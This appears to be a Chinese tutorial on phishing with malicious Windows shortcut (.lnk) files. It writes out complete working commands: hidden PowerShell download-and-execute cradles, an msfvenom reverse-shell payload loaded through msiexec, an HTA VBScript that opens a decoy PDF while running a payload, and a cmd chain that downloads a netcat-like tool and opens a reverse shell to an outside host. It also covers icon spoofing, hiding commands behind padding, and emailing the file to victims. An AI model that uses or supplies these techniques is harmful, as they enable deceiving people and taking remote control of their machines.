钓鱼攻击之:Lnk 文件钓鱼
钓鱼攻击之:Lnk 文件钓鱼
1 Lnk 钓鱼小试牛刀
-
利用技巧:
- 修改完成后,系统会自动根据所执行的程序更改图标,此时可以通过手动更改指定图标,让文件看起来无害。
-
创建一个Lnk(快捷方式)文件,然后修改它的目标地址如下:
# powershell方式注入payload # 使用CS生成web投递:http://192.168.50.2:80/a powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.50.2:80/a'))" # 系统进程msiexec.exe是Windows Installer的一部分,利用此进程来加载我们shellcode还可以达到一定的规避作用。 # 使用MSF生成payload,并提供下载: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.50.2 lport=4444 -f msi > shell.txt # 利用payload C:\Windows\System32\msiexec.exe /q /i http://192.168.50.2:8080/shell.txt
-
修改Lnk文件图标:推荐使用系统图标,避免当替换的图片在⽬标机器上不存在时,出现空⽩图标。可以在链接
%SystemRoot%\System32\SHELL32.dll
中查找。 -
诱使在目标系统上打开该快捷方式,即可成功上线
2 Lnk 图标处理
-
010 Editor下载地址:SweetScape Software Inc - 010 Editor - Pro Text/Hex Editor | Edit 200+ Formats | Reverse Engineering
-
首先生成一个正常的lnk文件
-
选择一个系统图标,在lnk文件中的变化主要体现在:
-
ShellLinkHeader
的LinkFlags
结构体中的HasIconLocation
标志位置为1; -
IconIndex
为使用的icon在目标中的下标; -
最后是紧接在
COMMAND_LINE_ARGUMENTS
后的ICON_LOCATION
字段,lnk使用的icon所在的文件,本例中是%systemroot%\system32\shell32.dll
。
-
-
利用010 Editor修改lnk的
icon_location
标志位,修改为相关后缀,系统即可⾃动关联到对应的打开⽅式。以修改内容其修改为.\1.pdf
(Unicode),其长度0x07为例: -
修改后,其效果如下
-
要想修改lnk指向的应用程序工作在指定目录,可以在
WORKING_DIR
字段进行修改,如果要去除该字段,可以设置sLinkInfo
字段中的HasWorkingDir
为0,并删除WORKING_DIR
字段,则lnk启动的程序工作目录将在当前窗口。
3 进阶利用方式
- 当受害者中招打开我们的所谓的Lnk,实则为恶意的快捷⽅式时,双击两下,什么反应都没有,可能会有⼀丝疑惑,因此可以当尝试⽤powershell、mshta等⽅式上线时,我们可以更改如cobaltstrike⽣成的代码,加上⼀段⾃动下载打开⼀份真的文件,来达到逼真的效果。
3.1 PDF利用
-
生成 HTA 文件后门文件
-
右键编辑修改HTA文件
# 在HTA文件执行Payload前添加如下语句 Dim open_pdf Set open_pdf = CreateObject("Wscript.Shell") open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf',$env:temp+'\纯洁的pdf.pdf');Start-Process $env:temp'\纯洁的pdf.pdf'", 0, true # 增加内容如下: <script language="VBScript"> Function var_func() Dim var_shell Dim open_pdf Set open_pdf = CreateObject("Wscript.Shell") Set var_shell = CreateObject("Wscript.Shell") open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.50.2:8080/%E7%BA%AF%E6%B4%81%E7%9A%84pdf.pdf',$env:temp+'\纯洁的pdf.pdf');Start-Process $env:temp'\纯洁的pdf.pdf'", 0, true var_shell.run "powershell -nop -w hidden -encodedcommand ... payload", 0, true End Function var_func self.close </script>
纯洁的pdf.pdf
为正常的PDF文档,是双击快捷方式后打开的那个正常的文档。
-
生成HTA文件下载地址:
http://192.168.50.2:1080/纯洁的pdf.pdf
-
新建一个指向
%windir%\System32\mshta.exe
的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll
中的一个 -
按照
步骤3.2
将纯洁的pdf.pdf.lnk
图标修改为.\1.pdf
-
更改
纯洁的pdf.pdf.lnk
参数为HTA下载地址:%windir%\System32\mshta.exe http://192.168.50.2:1080/纯洁的pdf.pdf
-
利用邮箱将
纯洁的pdf.pdf.lnk
发送到目标用户,之后双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档: -
还可以将
纯洁的pdf.pdf.lnk
与真实的PDF文档捆绑,使其文件大小看起来更具有迷惑性:copy /b 纯洁的pdf.pdf.lnk + 纯洁的pdf.pdf 纯洁的pdf.pdf2.lnk
3.2 txt利用,突破Lnk文件目标字符长度限制
-
完整的Payload如下:
cmd.exe /c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)
- 上面这一串cmd命令的意思是把“hello"写入C:\Users\Public\password.txt,并打开这个文件,然后从外部服务器上下载nc.exe到C:\Users\Public目录下,并命名为nc.exe,最后执行"nc.exe ReverseTcp 192.168.50.2 2333 nc" 反弹shell到192.168.50.2上。
cmd /c
:执行完命令后关闭命令窗口- 此处
http://192.168.50.2:80/nc.exe
实为Ladon.exe
-
新建一个指向
%windir%\System32\cmd.exe
的快捷方式,并更改其图标为%SystemRoot%\System32\SHELL32.dll
中的一个 -
使用010 Editor修改Lnk文件
- 可以看到实际上
COMMAND_LINE_ARGUMENTS
的长度可以支持到16-bit大小(0xffff),修改成大于260的值。 - 然后在其后插入大于所增大字节数量(因为支持的是Unicode格式字符)的空白空间
- 可以看到实际上
-
重新加载Lnk文件,并重新在
COMMAND_LINE_ARGUMENTS
中写入Payload/c (echo "hello" >C:\Users\Public\passwd.txt & start /b C:\Users\Public\passwd.txt) & (powershell.exe -nop -w hidden iwr -outf C:\Users\Public\nc.exe http://192.168.50.2:80/nc.exe & C:\Users\Public\nc.exe ReverseTcp 192.168.50.2 2333 nc)
- 也可以在
COMMAND_LINE_ARGUMENTS
字段范围中间加大量空格,最后末尾加上恶意命令,这样限于图形窗口中的260显示大小,可以一定程度上隐藏自身。
- 也可以在
-
删除
COMMAND_LINE_ARGUMENTS
与ICON_LOCATION
之间多余的空白空间,重新加载后可得以下内容 -
确认图标还是与之前的一样
-
在靶机上验证文件:双击执行文档,成功上线,并打开了文档